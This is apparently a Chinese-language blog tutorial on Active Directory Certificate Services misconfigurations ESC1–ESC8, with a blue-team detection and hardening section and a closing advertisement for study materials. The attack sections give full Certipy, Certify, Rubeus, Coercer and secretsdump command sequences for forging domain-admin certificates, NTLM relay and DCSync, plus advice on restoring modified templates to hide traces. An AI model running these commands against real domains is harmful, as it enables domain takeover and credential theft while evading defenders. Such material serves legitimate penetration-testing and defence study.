🔒免责声明:本文仅供授权渗透测试、红蓝对抗、安全运维学习,全部实验操作请在自建隔离靶场完成。未经授权对 Active Directory 域环境进行证书滥用、权限提升、内网渗透属于违法行为,请严格遵守网络安全相关法律法规。
前言
AD‑CS(Active Directory Certificate Services,活动目录证书服务)是微软为域环境实现 PKI 公钥基础设施的组件,用于签发域内机器、用户、服务证书,企业内部 VPN、802.1X、智能卡登录、TLS 加密大量依赖该服务。
很多运维部署 AD‑CS 时,直接使用默认模板,ACL 权限、证书模板 EKU、CA 属性配置不严,出现 ESC1~ESC8 八大经典错误配置,攻击者拿到普通域用户权限,即可通过申请恶意证书,利用 PKINIT 协议换取 TGT 票据,实现权限提升、DCSync 拿到域控权限,拿下整个域控制权。
在近几年护网、红蓝对抗实战中,AD‑CS 已经成为域内最容易打出高危漏洞的攻击面,很多靶场教程只给出成功执行命令,很少梳理利用前置条件、报错踩坑、完整攻击链路,蓝队加固方案也零散不全。
本文万字长文,完整讲解 AD‑CS 基础概念、信息收集手段,逐条拆解 ESC1‑ESC8 每一条错误配置:原理、触发条件、完整利用命令、攻击链路、实战踩坑报错,之后梳理组合利用链,红队 OPSEC 注意事项,蓝队审计日志、检测手段、完整加固方案。适合内网渗透学习者、红队人员、安全运维、护网应急工程师阅读。
前置工具说明
- Certipy:Linux 平台最主流 AD‑CS 工具,枚举、申请证书、PKINIT 认证全套功能;
- Certify:Windows 平台二进制工具,用于 Windows 主机本地枚举 AD‑CS 配置;
- PetitPotam / Coercer:强制认证工具,用于 ESC8 攻击,诱导机器账号向攻击者发起 NTLM 认证;
- Rubeus:拿到 pfx 证书后,执行 PKINIT 换取 TGT 票据;
核心协议 PKINIT:Kerberos 支持使用证书代替密码完成预认证,拿到合法客户端认证证书,就可以向 KDC 申请 TGT 票据,该机制是全部 ESC 攻击最终落地的基础。
一、AD‑CS 基础概念与前期信息收集
1.1 核心名词解释
- CA 证书颁发机构:企业根 CA、从属 CA,负责签发所有证书,AD‑CS 服务运行在 CA 服务器上;
- 证书模板 Template:定义证书属性,EKU 增强密钥用途、注册权限、主题名称标志、是否需要管理员审批;
- EKU 增强密钥用途:限定证书能干什么。
Client Authentication(1.3.6.1.5.5.7.3.2)客户端认证,该 EKU 是绝大多数提权攻击必备,允许证书用于 Kerberos 登录;Any Purpose任意用途,证书可以做全部操作;Enrollment Agent注册代理,代表其他用户申请证书; - SAN 主题备用名称:证书中可以写入 UPN,指定该证书代表哪一个域用户;
- msPKI‑Certificate‑Name‑Flag模板标志位:
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT(0x1)代表申请者请求时可以自定义 SAN; - 注册权限 Enrollment rights:哪些用户、组有权限向该模板申请证书;
- CA 属性 EDITF_ATTRIBUTESUBJECTALTNAME2:CA 层面开关,允许请求修改 SAN,ESC6 漏洞依赖该属性。
1.2 实战信息收集完整命令
红队拿到普通域用户权限,第一步先枚举整个域内所有 CA、所有证书模板,筛选 ESC1‑ESC8 风险配置。
Linux Certipy 枚举
# 完整枚举域内AD‑CS全部CA、全部模板,自动识别ESC风险 certipy find -u lowuser@lab.local -p 'Password123!' -dc-ip 192.168.10.10 -v # 将结果保存为json,方便分析 certipy find -u lowuser@lab.local -p 'Password123!' -dc-ip 192.168.10.10 -output adcs.jsonWindows Certify 枚举
.\Certify.exe find /vulnerable输出结果中会直接标记 ESC1、ESC2、ESC3、ESC4 风险模板,优先利用简单的 ESC1,其次 ESC4、ESC8。
关键枚举要点:
- 有多少台 CA 服务器,CA 名称;
- 哪些模板标记为 VULNERABLE;
- 模板注册权限是否给普通域用户、Authenticated Users;
- 是否开启 Web 注册服务
/certsrv(ESC8 依赖); - CA 是否开启 EDITF_ATTRIBUTESUBJECTALTNAME2 属性(ESC6)。
二、ESC1~ESC8 逐条原理、条件、利用、踩坑
ESC1:申请者可提供 SAN(Enrollee Supplies Subject)
漏洞原理
证书模板开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,允许申请证书的人,在请求中自定义 SAN 主题备用名称,同时模板包含Client Authentication客户端认证 EKU。普通域用户拥有模板注册权限,不需要管理员审批,攻击者申请证书的时候,SAN 填写域管理员 UPN,拿到冒充域管理员的证书,通过 PKINIT 换取域管理员 TGT,直接提权域管。
全部必须同时满足条件
- 模板标志位开启
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,申请者可提供主题; - EKU 包含
Client Authentication/Smart Card Logon/Any Purpose; - 普通域用户拥有该模板的 Enrollment 注册权限;
- 不需要经理审批(manager approval 关闭);
- 不需要授权签名。
Certipy 完整利用命令
# 请求证书,UPN填写域管理员账号 certipy req -u lowuser@lab.local -p 'Password123!' -ca lab‑DC‑CA -template VulnTemplate -upn administrator@lab.local -dc-ip 192.168.10.10执行成功输出administrator.pfx证书文件。
使用证书 PKINIT 向 KDC 申请 TGT:
certipy auth -pfx administrator.pfx -dc-ip 192.168.10.10拿到 NT 哈希,之后执行 DCSync 获取域内全部凭证。
Windows 环境 Certify + Rubeus 利用
.\Certify.exe request /ca:lab‑DC‑CA /template:VulnTemplate /altname:administrator@lab.local # 将得到的pem转换pfx,Rubeus asktgt执行pkinit Rubeus.exe asktgt /certificate:administrator.pfx /password:'' /pttESC1 高频踩坑报错汇总
- Certificate Request Denied: The template is not valid
原因:没有关闭经理审批;或者账号没有模板注册权限。
解决:确认模板属性,取消 “需要经理审批”,确认当前用户具备 Enrollment 权限。
- PKINIT failed, KDC_ERR_CLIENT_NAME_MISMATCH
原因:证书 EKU 不对,没有客户端认证;或者 UPN 写错;域控没有安装 Kerberos 身份验证证书。
解决:确认模板 EKU,UPN 格式必须是administrator@lab.local完整 UPN,不要写单纯用户名。
- 返回证书成功,但是 certipy auth 无法获取 NT Hash
部分环境域控策略,PKINIT 拿到 TGT,但无法提取 NT 哈希;可以拿到 TGT 票据文件,使用 secretsdump 执行 DCSync。
- 很多新手混淆:不是所有允许自定义 SAN 的模板都能 ESC1,必须要有 Client Authentication EKU,否则证书不能用来 Kerberos 登录提权。
ESC2:Any Purpose 任意用途 EKU
漏洞原理
证书模板 EKU 为空,或者设置Any Purpose(2.5.29.37.0)任意用途。Any Purpose 代表该证书可以用于所有一切操作,包括客户端认证。如果同时允许申请者自定义 SAN,效果等同于 ESC1;即使不允许自定义 SAN,如果申请机器账号证书,也可以完成提权。
触发条件
- EKU 等于 Any Purpose,或者 EKU 字段为空;
- 低权限用户拥有模板注册权限;
- 不需要经理审批。
关键点:Any Purpose 覆盖 Client Authentication,证书可以用于 PKINIT Kerberos 认证。如果同时开启 Enrollee Supplies Subject,直接等同于 ESC1 攻击链路。
利用方式
和 ESC1 命令完全一致,请求证书指定 UPN 为域管理员。
certipy req -u lowuser@lab.local -p 'xxx' -ca lab‑DC‑CA -template ESC2‑Template -upn administrator@lab.local -dc-ip 192.168.10.10 certipy auth -pfx administrator.pfx -dc-ip 192.168.10.10ESC2 踩坑
很多运维误以为没有写 Client Authentication 就安全,忽略 Any Purpose,Any Purpose 权限极大,相当于全部 EKU 全部开启。加固的时候,禁止业务模板使用 Any Purpose。
ESC3:注册代理漏洞 Enrollment Agent
漏洞原理
模板 EKU 包含Certificate Request Agent(1.3.6.1.5.5.7.3.7)注册代理 EKU。注册代理证书允许一个用户代表其他任意用户向 CA 申请证书。攻击者先申请一张注册代理证书,之后使用该代理证书,代表域管理员去申请一张客户端认证证书,拿到域管理员证书完成提权。
触发条件
- 模板 EKU 包含
Certificate Request Agent注册代理; - 低权限用户拥有该模板注册权限;
- 不需要经理审批。
攻击分为两步:第一步拿到代理证书;第二步拿着代理证书代表高权限用户申请客户端认证证书。
Certipy 完整利用
# 第一步,获取注册代理证书 certipy req -u lowuser@lab.local -p 'xxx' -ca lab‑DC‑CA -template AgentTemplate -dc-ip 192.168.10.10 # 第二步,使用代理证书,代表administrator申请证书 certipy req -u lowuser@lab.local -p 'xxx' -ca lab‑DC‑CA -template User -on‑behalf‑of administrator@lab.local -pfx agent.pfx -dc-ip 192.168.10.10 # 第三步,拿到administrator.pfx,PKINIT认证 certipy auth -pfx administrator.pfx -dc-ip 192.168.10.10ESC3 踩坑
- 代理证书只能用来 “代为申请证书”,代理证书本身不能直接用来 PKINIT 登录,很多人拿到 agent.pfx 直接执行 certipy auth,会报错 PKINIT 失败。必须第二步代为申请普通用户认证证书。
- 代为申请的目标模板,必须是普通用户可注册、具备 Client Authentication 的模板。
ESC4:低权限用户拥有证书模板写入权限
漏洞原理
攻击者账号对证书模板对象拥有 ACL 写权限:WriteDacl / WriteProperty / FullControl。攻击者本身不能直接利用现有模板,但是可以修改模板配置,把模板修改成 ESC1 的状态:开启 Enrollee Supplies Subject、添加 Client Authentication EKU,之后自己申请恶意证书完成提权,攻击完成后可以恢复模板配置,做到痕迹隐藏。
ESC4 属于间接利用链,模板本身不是漏洞,但是 ACL 权限宽松,攻击者篡改模板制造 ESC1 条件。
触发条件
- 攻击者账号拥有模板的 WriteDacl / WriteProperty / WriteOwner / FullControl 权限;
- 模板本身启用,CA 允许签发该模板证书。
Certipy 利用命令
# 修改模板,改成ESC1可利用状态 certipy template -u lowuser@lab.local -p 'xxx' -template NormalTemplate -save‑old old.json -dc-ip 192.168.10.10 # 修改完成,执行ESC1申请证书 certipy req -u lowuser@lab.local -p 'xxx' -ca lab‑DC‑CA -template NormalTemplate -upn administrator@lab.local -dc-ip 192.168.10.10 # 攻击结束,恢复模板原始配置(OPSEC非常重要) certipy template -u lowuser@lab.local -p 'xxx' -template NormalTemplate -restore old.json -dc-ip 192.168.10.10ESC4 高频踩坑
- 修改模板之后 AD 复制延迟,域内多站点环境,修改模板不会立刻生效,等待 AD 复制或者重启 CA 服务;
- 忘记恢复模板,蓝队审计直接抓到篡改痕迹;
- 部分模板是内置系统模板,禁止修改,修改会返回拒绝访问。
实战中 ESC4 是红队非常高频的利用链,很多运维给业务人员分配模板修改权限,造成严重风险。
ESC5:CA 对象 ACL 权限配置不当
漏洞原理
攻击者对 CA 服务器的 CA 对象本身拥有高权限:ManageCA / ManageCertificates。
- ManageCA 权限:可以修改 CA 配置,包括开启 ESC6 的 EDITF_ATTRIBUTESUBJECTALTNAME2 属性;
- ManageCertificates 权限:可以审批所有挂起的证书申请,手动颁发证书。
ESC5 本身不是直接漏洞,是权限前置条件,用来触发 ESC6,或者审批需要经理审批的恶意证书请求。
触发条件
攻击者账号拥有 CA 对象 ACL:ManageCA 或者 ManageCertificates 权限。
利用思路
场景 1:拥有 ManageCA,开启 CA 属性 EDITF_ATTRIBUTESUBJECTALTNAME2,触发 ESC6 攻击;
场景 2:拥有 ManageCertificates,提交一份需要经理审批的证书请求,攻击者手动审批签发证书,拿到恶意证书。
踩坑
ESC5 是权限基础,单独无法直接提权,必须搭配其他链路使用,很多初学者拿到 ESC5 不知道下一步怎么做。
ESC6:CA 层面开启 EDITF_ATTRIBUTESUBJECTALTNAME2
漏洞原理
CA 服务器注册表开启属性EDITF_ATTRIBUTESUBJECTALTNAME2。该属性是 CA 全局开关,忽略证书模板配置,允许所有证书请求自定义 SAN。哪怕模板没有开启 Enrollee Supplies Subject,只要该 CA 开关打开,攻击者申请证书时可以自定义 SAN 为域管理员,拿到恶意证书实现提权。
该开关历史上用于兼容旧软件,很多测试环境运维随手开启,造成全域风险。开启该属性,整个 CA 所有模板全部受到影响。
触发条件
- CA 注册表开启
EDITF_ATTRIBUTESUBJECTALTNAME2; - 攻击者可以向 CA 申请任意具备 Client Authentication EKU 的模板证书,不需要模板开启申请者提供 SAN 标志位。
开启位置注册表:
HKLM\System\CurrentControlSet\Services\CertSvc\Configuration\<CA‑NAME>
利用命令
和 ESC1 几乎一致,不需要模板开启 ENROLLEE_SUPPLIES_SUBJECT 标志:
certipy req -u lowuser@lab.local -p 'xxx' -ca lab‑DC‑CA -template User -upn administrator@lab.local -dc-ip 192.168.10.10 certipy auth -pfx administrator.pfx -dc-ip 192.168.10.10ESC6 踩坑
- 修改注册表开启该属性之后,必须重启 CertSvc 证书服务才会生效;
- 该属性作用于整个 CA,风险极大,只要开启,域内只要能注册任意客户端认证模板即可提权;
- Certipy find 枚举会标记 CA 开启该属性。
ESC7:CA 管理权限滥用(和 ESC5 关联)
行业资料中 ESC7 即 CA 对象 ACL 滥用,和 ESC5 高度重合:
- ManageCA:管理 CA 配置;
- ManageCertificates:管理证书申请审批。
攻击路径:
- ManageCA 权限可以修改 CA 配置,开启 EDITF_ATTRIBUTESUBJECTALTNAME2,达成 ESC6;
- ManageCertificates 权限,提交需要审批的证书请求,攻击者手动批准请求,签发恶意证书。
实战中 ESC5 与 ESC7 经常合并看待,属于 CA 对象 ACL 宽松导致攻击前置条件。
踩坑:很多同学分不清 ESC5、ESC7,记住:模板 ACL 问题是 ESC4;CA 对象本身 ACL 权限宽松是 ESC5/ESC7。
ESC8:NTLM Relay 中继到 AD‑CS Web 注册服务 /certsrv
漏洞原理
AD‑CS 安装 Web 注册组件 IIS/certsrv接口。该 IIS 端点支持 NTLM 认证。攻击者使用强制认证工具(PetitPotam、Coercer)诱导域控机器账号向攻击者 IP 发起 NTLM 认证,攻击者进行 NTLM 中继,把域控机器账号的认证中继到http://ca‑server/certsrv,以域控机器账号身份向 CA 申请域控制器模板证书,拿到域控机器账号证书,使用 PKINIT 拿到域控机器账号 TGT,执行 DCSync,直接 dump 域全部凭证。
ESC8 不需要域内低权限账号凭证,只需要内网可达,能够强制机器认证,是非常危险的攻击链路。
防御关键点:IIS 开启 EPA(Extended Protection for Authentication)扩展认证保护,直接阻止 NTLM Relay,现在新版域环境默认开启 EPA,ESC8 很难复现。
触发全部条件
- CA 服务器安装 Web 注册服务 IIS /certsrv;
- IIS 站点没有开启 EPA 扩展认证保护;
- 内网存在强制认证漏洞(PetitPotam,MS‑EFSRPC 等),可以诱导机器账号连接攻击者;
- 域控制器模板允许机器账号注册证书。
Certipy‑relay 完整利用链路
# 1. 启动certipy relay监听 certipy relay -ca lab‑DC‑CA -template DomainController # 2. 新开终端,使用coercer诱导域控连接攻击机器IP coercer coerce -u lowuser@lab.local -p 'xxx' -dc-ip 192.168.10.10 -target 192.168.10.20中继成功之后,直接得到dc01$机器账号 pfx 证书,执行 certipy auth 拿到域控机器 TGT,DCSync。
ESC8 高频踩坑
- 已经开启 EPA 扩展认证保护 → ESC8 直接失效,无法中继,现代 Windows Server2019 + 默认开启 EPA,靶场环境容易成功,真实生产环境经常失败;
- 防火墙拦截 445 端口,无法强制认证;
- 目标 CA 没有安装 Web 注册服务
/certsrv,ESC8 不具备攻击条件; - 只能中继机器账号,普通用户账号中继申请 DomainController 模板会被拒绝;
- 强制认证失败:Windows 补丁修复 PetitPotam 漏洞,MS‑EFSRPC 被打补丁,无法诱导机器访问攻击者 IP。
ESC8 攻击不需要修改任何 AD 对象,不留模板修改痕迹,蓝队只能依靠审计 IIS、CA 证书签发日志检测。
三、AD‑CS 组合利用链实战场景
场景 1:普通域用户,存在 ESC1 模板
最简链路:枚举发现 ESC1 → 请求带有管理员 SAN 证书 → PKINIT 拿 TGT → DCSync 导出域凭证。绝大多数靶场的场景。
场景 2:普通域用户,没有 ESC1,但用户对模板拥有 WriteDacl 权限 ESC4
链路:修改模板制造 ESC1 条件 → 申请恶意证书 → PKINIT 提权 →恢复模板配置。不恢复模板会留下明显篡改痕迹。
场景 3:账号拥有 CA 的 ManageCA 权限 ESC5
链路:开启 CA 注册表 EDITF_ATTRIBUTESUBJECTALTNAME2(ESC6)→ 申请任意 User 模板,自定义 SAN 域管理员 → 提权。
场景 4:内网无账号,存在未开启 EPA 的 certsrv(ESC8)
链路:强制域控机器 NTLM 认证 → relay 中继到 certsrv → 获取域控制器证书 → DCSync 拿域控。
四、红队实战 OPSEC 踩坑汇总(高频问题整理)
- 证书申请成功,但是 PKINIT 返回 KDC_ERR_CLIENT_NAME_MISMATCH
排查顺序:
①确认证书 EKU 是否具备 Client Authentication;②UPN 书写格式,必须完整 user@domain.local;③域控服务器必须拥有 Kerberos 身份验证证书;④证书的 SID 安全扩展是否正确。 - certipy auth 拿不到 NT Hash,但是可以拿到 TGT 票据
部分高安全域策略禁止 PKINIT 导出 NT 哈希。解决:保存 ccache 票据,使用 secretsdump 通过 kerberos 票据执行 DCSync。
export KRB5CCNAME=administrator.ccache secretsdump.py lab.local/administrator@dc01.lab.local -k -no‑pass- 多站点 AD 环境,修改模板后利用失败
AD 复制延迟,修改模板对象之后,等待几分钟 AD 复制完成,或者直接操作 CA 所在域控。ESC4 修改模板经常遇到该坑。 - 不要遗忘 ESC4 攻击完成恢复模板配置
如果没有 restore 恢复模板,模板配置永久改变,4899 事件记录模板修改,蓝队一眼就能定位入侵行为。 - ESC8 失败优先检查 EPA 状态
现在大量企业 IIS 已经开启 EPA,ESC8 已经很难利用,不要死磕 ESC8。 - 时间同步问题
证书、Kerberos PKINIT 对时间严格校验,攻击主机与域控时间差不能超过 5 分钟,否则 PKINIT 直接报错。 - 机器账号证书和用户账号证书区分
ESC8 拿到的是域控机器账号 dc01(证书,UPN格式为dc01\)@lab.local,不能填写普通管理员 UPN。 - Certipy 执行报错 CA not found
CA 名称大小写敏感,使用 certipy find 输出中完整 CA 名称复制粘贴。
五、蓝队视角:日志审计、检测手段、完整加固方案
5.1 AD‑CS 关键安全事件 ID(必须开启 CA 审计)
CA 服务器上开启证书服务审计,关键事件 ID:
- 4886:证书请求收到;
- 4887:证书成功颁发;
- 4888:证书请求拒绝;
- 4899:证书模板对象被修改(ESC4 攻击必产生此日志);
- 目录服务审计 4662:模板对象 ACL 属性修改;
绝大多数企业默认没有开启 CA 审计,入侵发生后没有任何日志留存,加固第一步务必开启 CA 审计日志。
5.2 检测告警规则思路
- 监控 4887 证书签发事件,监控异常证书:短时间大量客户端认证证书;普通域用户申请高权限模板;证书 SAN 为域管理员;
- 监控事件 4899 证书模板修改,一旦模板被修改立刻告警;
- 检测 CA 注册表
EDITF_ATTRIBUTESUBJECTALTNAME2属性,该属性非业务需要必须禁止; - IIS 日志审计
/certsrv访问,监控大量 POST 证书申请请求; - MDI (Microsoft Defender for Identity) 内置 AD‑CS 攻击检测规则,检测 ESC1、ESC8 证书滥用行为。
5.3 ESC1‑ESC8 逐条加固修复方案
| 漏洞编号 | 加固方案 |
|---|---|
| ESC1 | 模板主题名称,改为 “从 Active Directory 生成信息”,关闭Enrollee Supplies Subject;高风险模板开启经理审批;严格控制注册权限,禁止普通 Authenticated Users 注册高权限模板 |
| ESC2 | 禁止模板设置 Any Purpose,业务需要则精准限定 EKU 列表,删除 Any Purpose; |
| ESC3 | 业务不需要则删除Certificate Request Agent注册代理 EKU;严格限制代理模板注册权限; |
| ESC4 | 收紧证书模板对象 ACL,普通用户禁止 WriteDacl、WriteProperty 权限;定期审计所有模板 ACL 权限; |
| ESC5/ESC7 | 收紧 CA 对象 ACL,ManageCA、ManageCertificates 权限只分配给 PKI 管理员组;禁止普通运维拥有该权限; |
| ESC6 | 删除 CA 注册表EDITF_ATTRIBUTESUBJECTALTNAME2,重启 CertSvc 服务;该属性非兼容业务严禁开启; |
| ESC8 | Web 注册站点 IIS 开启EPA 扩展认证保护;不需要 certsrv 功能直接卸载 Web 注册组件;禁用 NTLM;强制使用 HTTPS 访问 certsrv 接口 |
5.4 企业整体 AD‑CS 安全最佳实践
- 定期使用 Certipy / Certify 对全部 CA、全部证书模板做周期性漏洞巡检,自动化扫描 ESC1‑ESC8 风险配置;
- 最小权限原则:模板注册权限不要赋予 Authenticated Users,只给业务需要的用户组;
- 高风险证书模板开启经理审批,证书请求必须管理员手动批准之后才签发;
- 开启 CA 完整审计日志,日志转发 SIEM 平台告警;
- 不需要的模板直接禁用,减少攻击面;
- 保护 CA 服务器,高权限,防止攻击者读取 CA 私钥生成黄金证书;有条件使用 HSM 硬件安全模块保护 CA 私钥;
- 关闭不需要 Web 注册组件,如果业务必须使用 certsrv,务必开启 EPA,强制 HTTPS,关闭 NTLM 认证。
重要认知:很多运维以为 AD‑CS 只是签发证书的组件,实际上配置错误可以直接导致域沦陷,是域内最高危攻击面之一。关闭 NTLM 并不能防御全部 AD‑CS 攻击,大部分 ESC 攻击全程使用 Kerberos 协议。
六、常见认知误区总结
误区 1:证书只是 TLS 用的,不会影响域权限
❌错误。PKINIT 协议允许证书直接代替密码完成 Kerberos 预认证,一张恶意客户端证书等价于账号密码,直接获取 TGT 票据。
误区 2:只要不给普通用户域管理员权限就安全
❌错误。AD‑CS 模板配置错误,普通域用户可以申请冒充域管理员的证书,不需要域管本地权限。
误区 3:ESC8 攻击可以复现在所有生产环境
❌错误。IIS 开启 EPA 扩展认证保护之后,NTLM Relay 完全失效,新版 Windows 默认开启 EPA,ESC8 实战条件苛刻。
误区 4:Any Purpose 只是普通 EKU,没有风险
❌错误。Any Purpose 等于开启全部 EKU,包括客户端认证,极易提权。
误区 5:ESC4 修改模板攻击,不会留下日志
❌错误。修改模板对象会产生 4899 事件,不做 restore 恢复,痕迹非常明显。
误区 6:关闭 NTLM 可以防御所有 AD‑CS 攻击
❌错误。ESC1‑ESC7 全部走 Kerberos 证书申请,不依赖 NTLM;关闭 NTLM 只能防御 ESC8。
七、总结
AD‑CS 八大错误配置 ESC1‑ESC8 是现代域环境最经典的提权攻击链,攻击核心逻辑:利用模板、CA 的配置缺陷,申请一张具备 Client Authentication EKU 的恶意证书,使用 PKINIT 协议换取高权限 TGT 票据,最后 DCSyncdump 域凭证。
简单回顾各漏洞核心定位:
- ESC1:模板允许申请者自定义 SAN,最经典最简单提权;
- ESC2:Any Purpose 任意用途 EKU;
- ESC3:注册代理证书,代表他人申请证书;
- ESC4:普通用户拥有模板写权限,篡改模板制造 ESC1 条件;
- ESC5/ESC7:CA 对象 ACL 权限宽松,拥有 ManageCA/ManageCertificates;
- ESC6:CA 全局开启 EDITF_ATTRIBUTESUBJECTALTNAME2,全部模板允许自定义 SAN;
- ESC8:NTLM Relay 中继 Web 注册服务 /certsrv,不需要账号凭证。
实战踩坑集中在:EKU 配置错误、UPN 格式错误、EPA 阻止 ESC8 攻击、AD 复制延迟导致 ESC4 修改模板不生效、时间不同步、忘记恢复模板配置、混淆代理证书与登录证书。
蓝队防御重点:关闭非必要模板功能,收紧模板与 CA 的 ACL 权限,开启 CA 审计日志,开启 IIS EPA 保护,定期自动化巡检全部证书模板配置。
红队实战顺序建议:枚举全部模板优先找 ESC1,其次 ESC2、ESC3;没有直接漏洞寻找 ESC4 模板写权限;内网无账号尝试 ESC8;拿到证书务必注意 PKINIT 时间同步,攻击完成清理痕迹。
最后
关于网络安全技术储备
学好网络安全不论是就业还是做副业赚钱都不错,但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料,给那些想学习网络安全的小伙伴们一点帮助!
对于0基础小白入门:
如果你是零基础小白,想快速入门网络安全是可以考虑的。
一方面是学习时间相对较短,学习内容更全面更集中。
二方面是可以找到适合自己的学习方案
包括:网安成长学习路线图、SRC&黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全!
需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
随着互联网技术的飞速发展,网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等,以其强大的语言理解和防御能力,正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】